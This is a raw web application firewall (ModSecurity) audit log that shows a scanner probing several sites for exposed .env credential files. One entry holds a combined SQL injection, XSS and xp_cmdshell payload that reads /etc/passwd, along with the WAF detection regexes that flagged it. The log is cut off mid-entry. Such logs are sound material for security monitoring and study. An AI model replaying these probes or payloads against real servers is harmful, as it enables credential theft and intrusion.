_sfs_id=4659e76ad5b3e5de874af9257c41e64c1750023298; expires=Sun, 15 Jun 2025 22:34:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9cb13511-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe9\\\\x85\\\\x8d\\\\xe5\\\\xb8\\\\x83"] [unique_id "aE88gkNwpNEMJppxC49RTgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023298117462 655220 (- - -) Stopwatch2: 1750023298117462 655220; combined=1779, p1=368, p2=1339, p3=0, p4=0, p5=71, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9cb13511-Z-- --b21fb776-A-- [16/Jun/2025:03:05:00.770925 +0530] aE88hMe_3eHPNozq0G0OeAAAAAU 185.177.72.210 45756 127.0.0.1 7081 --b21fb776-B-- GET /:8443/.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b21fb776-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3afbc26c19d85166bb13465b2c56af731750023300; expires=Sun, 15 Jun 2025 22:35:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b21fb776-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE88hMe_3eHPNozq0G0OeAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023300109738 661281 (- - -) Stopwatch2: 1750023300109738 661281; combined=2323, p1=480, p2=1733, p3=0, p4=0, p5=110, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b21fb776-Z-- --62674f70-A-- [16/Jun/2025:03:05:09.638401 +0530] aE88jFR6EeXjkGzEkblkWwAAAAs 185.177.72.210 46436 127.0.0.1 7081 --62674f70-B-- GET /:9000/wp-admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --62674f70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a0153fe7988159e5c5d17460071e0d811750023309; expires=Sun, 15 Jun 2025 22:35:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --62674f70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/wp-admin/.env"] [unique_id "aE88jFR6EeXjkGzEkblkWwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023308970486 667977 (- - -) Stopwatch2: 1750023308970486 667977; combined=1891, p1=428, p2=1375, p3=0, p4=0, p5=88, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --62674f70-Z-- --398e171c-A-- [16/Jun/2025:03:05:12.621323 +0530] aE88j0NwpNEMJppxC49RVwAAAAI 185.177.72.210 47204 127.0.0.1 7081 --398e171c-B-- GET /:9000/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --398e171c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ceb42286bd4fee4ae0547739873027af1750023312; expires=Sun, 15 Jun 2025 22:35:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --398e171c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/app/configura/.env"] [unique_id "aE88j0NwpNEMJppxC49RVwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023311969217 652170 (- - -) Stopwatch2: 1750023311969217 652170; combined=1993, p1=411, p2=1504, p3=0, p4=0, p5=78, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --398e171c-Z-- --3bf3397a-A-- [16/Jun/2025:03:05:22.004161 +0530] aE88mZxF6cy0P8Yk4ptV5AAAAAM 185.177.72.210 47102 127.0.0.1 7081 --3bf3397a-B-- GET /public_html/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3bf3397a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b8548d4b90a100f32eca55ff5f444c01750023321; expires=Sun, 15 Jun 2025 22:35:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3bf3397a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/public_html/.env"] [unique_id "aE88mZxF6cy0P8Yk4ptV5AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023321334435 669790 (- - -) Stopwatch2: 1750023321334435 669790; combined=1698, p1=368, p2=1224, p3=0, p4=0, p5=106, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3bf3397a-Z-- --ff231360-A-- [16/Jun/2025:03:05:32.913823 +0530] aE88pFGNm2a2ZAngdHCtcgAAAAc 185.177.72.210 45050 127.0.0.1 7081 --ff231360-B-- GET /backups/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ff231360-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42c4a347acde40fd2599f4aaedbcb4661750023332; expires=Sun, 15 Jun 2025 22:35:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ff231360-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.bak"] [unique_id "aE88pFGNm2a2ZAngdHCtcgAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.bak"] [unique_id "aE88pFGNm2a2ZAngdHCtcgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023332191738 722147 (- - -) Stopwatch2: 1750023332191738 722147; combined=1660, p1=344, p2=1182, p3=0, p4=0, p5=134, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ff231360-Z-- --c059e10f-A-- [16/Jun/2025:03:05:36.697002 +0530] aE88qPkun2jazaBvM9ttnAAAAAE 185.177.72.210 45218 127.0.0.1 7081 --c059e10f-B-- GET /:5000/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c059e10f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=abe19ca1e888f52ce9f05769cdaccdf91750023336; expires=Sun, 15 Jun 2025 22:35:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c059e10f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/prod/.env"] [unique_id "aE88qPkun2jazaBvM9ttnAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023336018285 678779 (- - -) Stopwatch2: 1750023336018285 678779; combined=1649, p1=393, p2=1158, p3=0, p4=0, p5=97, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c059e10f-Z-- --9e374b4f-A-- [16/Jun/2025:03:05:40.344760 +0530] aE88q1GNm2a2ZAngdHCtdgAAAAc 185.177.72.210 33156 127.0.0.1 7081 --9e374b4f-B-- GET /bak/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9e374b4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c8039d138532a09671a4d483d7e7e09f1750023340; expires=Sun, 15 Jun 2025 22:35:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9e374b4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.local"] [unique_id "aE88q1GNm2a2ZAngdHCtdgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023339612521 732338 (- - -) Stopwatch2: 1750023339612521 732338; combined=1688, p1=336, p2=1242, p3=0, p4=0, p5=109, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e374b4f-Z-- --6b832121-A-- [16/Jun/2025:03:05:45.185245 +0530] aE88sVGNm2a2ZAngdHCteQAAAAc 172.71.148.58 33418 127.0.0.1 7081 --6b832121-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687&WtXd=3909%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.58 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950532f17ab8a034-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --6b832121-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --6b832121-E-- --6b832121-H-- Message: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.getcalley.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687&WtXd=3909%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Pattern match "<script\\b" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||www.getcalley.com|F|2"] [data "Matched Data: <script found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687&wtxd=3909and1=1unionallselect1,null,'<script>alert(\x22xss\x22)</script>',table_namefrominformation_schema.tableswhere2>1"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] Message: Warning. Pattern match "[\\x22'<\\/]xss[\\x22'\\/>]" at ARGS:WtXd. [file "/etc/apache2/modsecurity.d/rules/comodo_free/07_XSS_XSS.conf"] [line "80"] [id "212820"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||www.getcalley.com|F|2"] [data "Matched Data: \x22xss\x22 found within ARGS:WtXd: 3909 and 1=1 union all select 1,null,'<script>alert(\x22xss\x22)</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] Message: Warning. Matched phrase "etc/passwd" at ARGS:WtXd. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.getcalley.com|F|2"] [data "Matched Data: etc/passwd found within ARGS:WtXd: 3909 and 1=1 union all select 1,null,'<script>alert(\x22xss\x22)</etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: table_name found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687&WtXd=3909%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: 3909 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\x22XSS\x22)</script>',table_name FROM information_schema.tables WHERE 2>1 found within MATCHED_VAR: 3909 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\x22XSS\x22)</script>',table_name FROM information_schema.tables WHERE 2>1"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:\\b(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|aster\\.\\.sysdatabases|ysql\\.db)\\b|s(?:ys(?:\\.database_name|aux)\\b|chema(?:\\W*\\(|_name\\b)|qlite(_temp)?_master\\b) ..." at ARGS:WtXd. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "69"] [id "218530"] [rev "3"] [msg "COMODO WAF: SQL Injection Attack: Common DB Names Detected||www.getcalley.com|F|2"] [data "Matched Data: information_schema found within ARGS:WtXd: 3909 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\x22XSS\x22)</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.getcalley.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687&WtXd=3909%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88sVGNm2a2ZAngdHCteQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "<script\\\\\\\\b" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||www.getcalley.com|F|2"] [data "Matched Data: <script found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687&wtxd=3909and1=1unionallselect1,null,'<script>alert(\\\\x22xss\\\\x22)</script>',table_namefrominformation_schema.tableswhere2>1"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88sVGNm2a2ZAngdHCteQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\x22'<\\\\\\\\/]xss[\\\\\\\\x22'\\\\\\\\/>]" at ARGS:WtXd. [file "/etc/apache2/modsecurity.d/rules/comodo_free/07_XSS_XSS.conf"] [line "80"] [id "212820"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||www.getcalley.com|F|2"] [data "Matched Data: \\\\x22xss\\\\x22 found within ARGS:WtXd: 3909 and 1=1 union all select 1,null,'<script>alert(\\\\x22xss\\\\x22)</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88sVGNm2a2ZAngdHCteQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:WtXd. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.getcalley.com|F|2"] [data "Matched Data: etc/passwd found within ARGS:WtXd: 3909 and 1=1 union all select 1,null,'<script>alert(\\\\x22xss\\\\x22)</etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88sVGNm2a2ZAngdHCteQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: table_name found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687&WtXd=3909%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88sVGNm2a2ZAngdHCteQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser 